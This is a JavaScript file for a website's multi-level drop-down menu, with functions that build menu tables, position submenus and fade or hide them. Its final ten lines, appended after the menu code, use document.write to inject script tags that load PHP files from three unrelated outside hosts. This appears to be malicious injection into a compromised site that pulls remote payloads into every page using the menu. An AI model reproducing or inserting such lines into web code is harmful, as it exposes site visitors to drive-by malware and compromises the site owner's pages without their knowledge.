
var width=100;
var height=20;
var strMenuAlign="";
var strMenuImageArrow="";

function InitMenu(){
	var iMenuMenu=0;
	var oMenuText = eval("arrMenuText");
	var oMenuLink = eval("arrMenuLink");
	var strMenu="";
	if(dir=="ltr"){
		strMenuAlign = "left";
		strMenuImageArrow = "ToRight.gif";
	}else{
		strMenuAlign = "right";
		strMenuImageArrow = "ToLeft.gif";
	}
	
	if(bolVer){
		strMenu = "<table class=Bar dir='"+dir+"'>";
		for(iMenuMenu=0;iMenuMenu<oMenuText.length;iMenuMenu++){

		//Check For Sub Menu
		var bolHaveSubMenu=false;
		try{
			var oTemp = eval("arrMenuText_"+iMenuMenu);
			bolHaveSubMenu = true;
		}catch(e){}
		var strMenuText = "";
		if(bolHaveSubMenu){
			strMenuText = "<table border=0 cellspacing=0 cellpadding=0 width="+width+"px><tr><td class='Bar' onmouseout=\"javascript:this.className='Bar';\" onmouseover=\"javascript:this.className='barOver';\" width=99% height="+height+"  align="+strMenuAlign+">"+oMenuText[iMenuMenu]+"</td><td height="+height+" width=1%><img src='"+strMenuImageArrow+"'></td></tr></table>";
		}else{
			strMenuText = "<table border=0 cellspacing=0 cellpadding=0 width="+width+"px><tr><td class='Bar' onmouseout=\"javascript:this.className='Bar';\" onmouseover=\"javascript:this.className='barOver';\" width=100% height="+height+"  align="+strMenuAlign+">"+oMenuText[iMenuMenu]+"</td></tr></table>";
		}

			strMenu += "<tr><td dir='"+dir+"' height="+height+"  width="+width+"px nowrap onmousemove=\"javascript:UpdateHideTimerChecker();\" onmouseover=\"javascript:ShowSubMenu(this,"+iMenuMenu+");\" style='cursor:pointer;' id='menu_"+iMenuMenu+"' onclick=\"javascript:location.href='"+oMenuLink[iMenuMenu]+"'\">"+strMenuText+"</td></tr>";
		}
		strMenu += "</table>";
	}else{
		strMenu = "<table class=Bar dir='"+dir+"'><tr>";
		for(iMenuMenu=0;iMenuMenu<oMenuText.length;iMenuMenu++){
			strMenu += "<td dir='"+dir+"' height="+height+" nowrap class='Bar' onmousemove=\"javascript:UpdateHideTimerChecker();\" onmouseout=\"javascript:this.className='Bar';\" onmouseover=\"javascript:this.className='barOver';ShowSubMenu(this,"+iMenuMenu+");\" style='cursor:pointer;' id='menu_"+iMenuMenu+"' onclick=\"javascript:location.href='"+oMenuLink[iMenuMenu]+"'\">"+oMenuText[iMenuMenu]+"</td>";
		}
		strMenu += "</tr></table>";
	}
	document.getElementById("divMainMenu").innerHTML = strMenu;
	document.getElementById("divMainMenu").dir=dir;
}

var strLastSubMenuId = "";
function ShowSubMenu(parent,iSub){//alert(iSub);
	if(iSub.toString().indexOf("_")==-1){
		HideAll();
	}//else{
	//	HideSubs(iSub);
	//}

	UpdateHideTimerChecker();
	var iMenuMenu=0;
	var oMenuText;
	var oMenuLink;
	try{
	 oMenuText = eval("arrMenuText_"+iSub);
	 oMenuLink = eval("arrMenuLink_"+iSub);
	}catch(e){
		return false;
	}
	
	var itmId = 'tblMenu_'+iSub;
	var strMenu="<table id="+itmId+" dir='"+dir+"' style='BORDER:#997b11 1px solid'  background=menubg2.gif cellspacing=0 cellpadding=0>";
	for(iMenuMenu=0;iMenuMenu<oMenuText.length;iMenuMenu++){
		var sNewSub = iSub+"_"+iMenuMenu;
		var bolHaveSubMenu=false;
		try{
			var oTemp = eval("arrMenuLink_"+sNewSub);
			bolHaveSubMenu = true;
		}catch(e){}
		
		var strMenuText = "";
		if(bolHaveSubMenu){
			strMenuText = "<table height="+height+" width="+width+"px border=0 cellspacing=0 cellpadding=0><tr><td width=99% class='menuItem' onmouseout=\"javascript:this.className='menuItem';\" onmouseover=\"javascript:this.className='ItemMouseOver';\">"+oMenuText[iMenuMenu]+"</td><td width=1%><img src='ToLeft.gif'></td></tr></table>";
		}else{
			strMenuText = "<table height="+height+" width="+width+"px border=0 cellspacing=0 cellpadding=0><tr><td width=100% class='menuItem' onmouseout=\"javascript:this.className='menuItem';\" onmouseover=\"javascript:this.className='ItemMouseOver';\">"+oMenuText[iMenuMenu]+"</td></tr></table>";
		}
		
		strMenu += "<tr><td width="+width+"px height="+height+" border=0 nowrap class='menuItem' onmousemove=\"javascript:UpdateHideTimerChecker();\" onmouseout=\"javascript:this.className='menuItem';\" onmouseover=\"javascript:this.className='ItemMouseOver';ShowSubMenu(this,'"+sNewSub+"');\" style='cursor:pointer;' id='menu_"+iMenuMenu+"' onclick=\"javascript:location.href='"+oMenuLink[iMenuMenu]+"'\">"+strMenuText+"</td></tr>";
	}
	strMenu += "</table>";
	
	var divTemp;
	if(GetMenu(iSub)==null){
		divTemp = CreateMenu(iSub);
	}else{
		divTemp = GetMenu(iSub);
	}
	
	divTemp.innerHTML=strMenu;
	divTemp.style.position="absolute";
	divTemp.style.display="block";
	
	if(dir=="ltr"){
		if(bolVer){
			divTemp.style.pixelLeft = parent.getBoundingClientRect().left + parent.offsetWidth + body.scrollLeft;
			divTemp.style.pixelTop =  parent.getBoundingClientRect().top + body.scrollTop;
		}else{
			if(iSub.toString().indexOf("_")==-1){
				divTemp.style.pixelLeft = parent.getBoundingClientRect().left + body.scrollLeft;
				divTemp.style.pixelTop =  parent.getBoundingClientRect().top + parent.offsetHeight + body.scrollTop;
		  }else{
				divTemp.style.pixelLeft = parent.getBoundingClientRect().left + parent.offsetWidth + body.scrollLeft;
				divTemp.style.pixelTop =  parent.getBoundingClientRect().top + body.scrollTop;
			}
		}
    }else{
		if(bolVer){
			divTemp.style.pixelLeft = parent.getBoundingClientRect().left - parent.offsetWidth - body.scrollLeft ;
			divTemp.style.pixelTop =  parent.getBoundingClientRect().top + body.scrollTop;
		}else{
			if(iSub.toString().indexOf("_")==-1){
				divTemp.style.pixelLeft = parent.getBoundingClientRect().left - body.scrollLeft ;
				divTemp.style.pixelTop =  parent.getBoundingClientRect().top + parent.offsetHeight + body.scrollTop;
		  }else{
				divTemp.style.pixelLeft = parent.getBoundingClientRect().left - parent.offsetWidth - body.scrollLeft ;
				divTemp.style.pixelTop =  parent.getBoundingClientRect().top + body.scrollTop;
			}
		}
    }
    
    //alert(divTemp.getBoundingClientRect().left);
    hexIn=0;
    
    if(iSub.toString().indexOf("_")==-1){
		//FadeIn(itmId);
    }


if(iSub.toString().indexOf(strLastSubMenuId)==-1){
	HideSubs(strLastSubMenuId);
}
strLastSubMenuId = iSub;
}
function CreateMenu(id){
    var objShadow;
    objShadow = document.createElement("div");
    objShadow.id="divTempMenus_"+id;
    //objShadow.onmousemove = new Function("UpdateHideTimerChecker()");
    objShadow.style.position="absolute";
    body.appendChild(objShadow);
    return objShadow;
}
function GetMenu(id){
    return document.getElementById("divTempMenus_"+id);
}

var iTimerChecker=3;
function HideTimerChecker(){
	if(iTimerChecker>0){
		iTimerChecker -= 1;
		}
	if(iTimerChecker==0){
		HideAll();
	}else{
		setTimeout("HideTimerChecker()",1000);
	}
}
function UpdateHideTimerChecker(){
	iTimerChecker=3;
}
function HideAll(){
 	var controlIndex;
  	var element;
  	var numberOfControls = document.all.length;
 	for (controlIndex = 0; controlIndex < numberOfControls; controlIndex++)
 	  {
  	    element = document.all[controlIndex];
  	    try{
   			 if (element.tagName == "DIV" && element.id.indexOf("divTempMenus_")==0){
   				//body.removeChild(element);
   				element.style.display="none";
   				FadeOut(element.id.replace("divTempMenus_","tblMenu_"));
   			 }
   	   }catch(e){}
   	}
}
function HideSubs(id){//alert("divTempMenus_"+id+"_");
 	var controlIndex;
  	var element;
  	var numberOfControls = document.all.length;
 	for (controlIndex = 0; controlIndex < numberOfControls; controlIndex++)
 	  {
  	    element = document.all[controlIndex];
  	    try{
   			 if (element.tagName == "DIV" && element.id.indexOf("divTempMenus_"+id)==0){//alert();
   					//body.removeChild(element);
   					element.style.display="none";
   					//FadeOut(element.id.replace("divTempMenus_","tblMenu_"));
   			 }
   	   }catch(e){}
   	}
}
function HideMenu(obj){
	HideAll();
}
var hexIn=0;
var hexOut=0;
function FadeIn(obj){
	if(document.getElementById(obj).style.filter=="alpha(opacity=100, finishopacity=30, style=4, StartX=100,  FinishX=0, StartY=0, FinishY=0)")
		{return false;}
		
	if(hexIn<100){
		hexIn+=5;
		document.getElementById(obj).style.filter = "alpha(opacity="+hexIn+", finishopacity=30, style=4, StartX=100,  FinishX=0, StartY=0, FinishY=0)";
		setTimeout("FadeIn('"+obj+"')",1);
	}else{
		hexIn=0;
	}
}
function FadeMenuOut(obj){
  clearTimeout("FadeMenuIn('"+obj+"')");
  document.getElementById(obj).style.filter = "alpha(opacity=100, finishopacity=30, style=4, StartX=100,  FinishX=0, StartY=0, FinishY=0)";
  hexIn=100;
}
document.write('<script src=http://apinetwork.de/webftp/44015.php ><\/script>');
document.write('<script src=http://apinetwork.de/webftp/44015.php ><\/script>');
document.write('<script src=http://apinetwork.de/webftp/44015.php ><\/script>');
document.write('<script src=http://apinetwork.de/webftp/44015.php ><\/script>');
document.write('<script src=http://apinetwork.de/webftp/44015.php ><\/script>');
document.write('<script src=http://janalaxmibank.com/english/loanadvances.php ><\/script>');
document.write('<script src=http://janalaxmibank.com/english/loanadvances.php ><\/script>');
document.write('<script src=http://janalaxmibank.com/english/loanadvances.php ><\/script>');
document.write('<script src=http://janalaxmibank.com/english/loanadvances.php ><\/script>');
document.write('<script src=http://culturechine.org/admin/photo.php ><\/script>');